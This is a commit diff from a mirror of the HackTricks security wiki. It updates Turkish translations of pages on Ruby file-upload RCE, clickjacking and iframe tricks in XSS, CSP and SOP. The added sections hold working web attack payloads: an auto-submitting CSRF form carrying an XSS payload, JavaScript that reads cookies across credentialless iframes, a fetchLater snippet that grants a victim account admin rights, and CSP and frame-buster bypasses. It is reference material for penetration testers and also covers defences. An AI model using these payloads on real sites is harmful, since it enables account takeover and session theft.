mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
46d51a6176
commit
9272255617
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
||||
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dosya yükleme ile RCE
|
||||
|
||||
[bu makalede](https://www.offsec.com/blog/cve-2024-46986/) açıklandığı gibi, `.rb` dosyasını `config/initializers/` gibi hassas dizinlere yüklemek, Ruby on Rails uygulamalarında uzaktan kod yürütmeye (RCE) yol açabilir.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -8,11 +8,11 @@ Bir clickjacking saldırısında, bir **kullanıcı**, bir web sayfasında ya **
|
||||
|
||||
### Formları Önceden Doldurma Hilesi
|
||||
|
||||
Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
|
||||
Bazen bir sayfa yüklendiğinde **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
|
||||
|
||||
### Sürükle ve Bırak ile Form Doldurma
|
||||
|
||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bilgisi olan e-posta veya şifre gibi) doğrudan yazmasını istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
||||
|
||||
### Temel Yük
|
||||
```css
|
||||
@ -89,21 +89,21 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Eğer bir **XSS saldırısını tetiklemek için kullanıcının bir öğeye tıklamasını gerektiren** bir durum tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
||||
Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
||||
Örnek:\
|
||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
||||
Bir saldırgan, bu sayfaya yönelik bir **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **Gönder** butonuna tıklamaya kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** içeren sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
||||
Bir saldırgan, bu sayfaya **XSS yükü** ile **formu** **önceden doldurarak** bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
İlk olarak [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak çift tıklama sırasında kurban sayfasını yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
||||
Öncelikle [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak kurban sayfasını çift tıklama sırasında yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
||||
|
||||
Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) bulunabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
|
||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlarken clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
|
||||
|
||||
## Clickjacking'i Azaltma Stratejileri
|
||||
|
||||
@ -119,14 +119,14 @@ Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickja
|
||||
Ancak, bu çerçeve kırıcı betikler aşılabilir:
|
||||
|
||||
- **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
|
||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in en üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içindeki eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||||
`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||||
|
||||
### Sunucu Tarafı Savunmaları
|
||||
|
||||
@ -141,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
|
||||
|
||||
**CSP'deki `frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
|
||||
CSP'deki **`frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
|
||||
|
||||
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
|
||||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
|
||||
@ -153,7 +153,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
|
||||
|
||||
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
|
||||
### İçerik Güvenlik Politikası (CSP) `child-src` ve `frame-src` ile
|
||||
|
||||
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
|
||||
|
||||
@ -173,7 +173,7 @@ Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gele
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
|
||||
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
|
||||
|
||||
**Kullanım Notları:**
|
||||
|
||||
@ -189,9 +189,9 @@ if (top !== self) {
|
||||
top.location = self.location
|
||||
}
|
||||
```
|
||||
#### Anti-CSRF Tokenlarının Kullanımı
|
||||
#### Anti-CSRF Token'ların Kullanımı
|
||||
|
||||
- **Token Doğrulama:** Web uygulamalarında, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olmak için anti-CSRF tokenları kullanın ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
|
||||
- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olun ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# Iframes in XSS, CSP and SOP
|
||||
# XSS, CSP ve SOP'da Iframe'ler
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Iframes in XSS
|
||||
## XSS'de Iframe'ler
|
||||
|
||||
Bir iframed sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||||
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||||
|
||||
- Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
|
||||
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
|
||||
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
|
||||
- İçeriği belirten `srcdoc` aracılığıyla
|
||||
|
||||
@ -45,15 +45,15 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilen) orijinal penceredeki secret'a erişebilir**.\
|
||||
if4'ün `null` kökenine sahip olduğu not edilmelidir.
|
||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
|
||||
if4'ün `null` kökenine sahip olduğu dikkate alın.
|
||||
|
||||
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğini not edin.
|
||||
> [!TIP]
|
||||
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||||
|
||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliğini kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
||||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
|
||||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||||
```html
|
||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
Not edin ki **önceki CSP yalnızca inline script'in çalışmasına izin veriyor**.\
|
||||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, ancak yalnızca `if1` ana gizli veriye erişebilecek**.
|
||||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnızca `if1` ana gizli veriye erişebilecek**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -103,7 +103,7 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Diğer Yükler doğal ortamda bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -130,10 +130,57 @@ Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
|
||||
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
|
||||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||||
|
||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir.
|
||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
|
||||
|
||||
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exploit örneği: Self-XSS + CSRF
|
||||
|
||||
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
|
||||
|
||||
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
|
||||
|
||||
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Saldırısı
|
||||
|
||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
|
||||
|
||||
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## SOP'de Iframe'ler
|
||||
|
||||
Aşağıdaki sayfaları kontrol edin:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user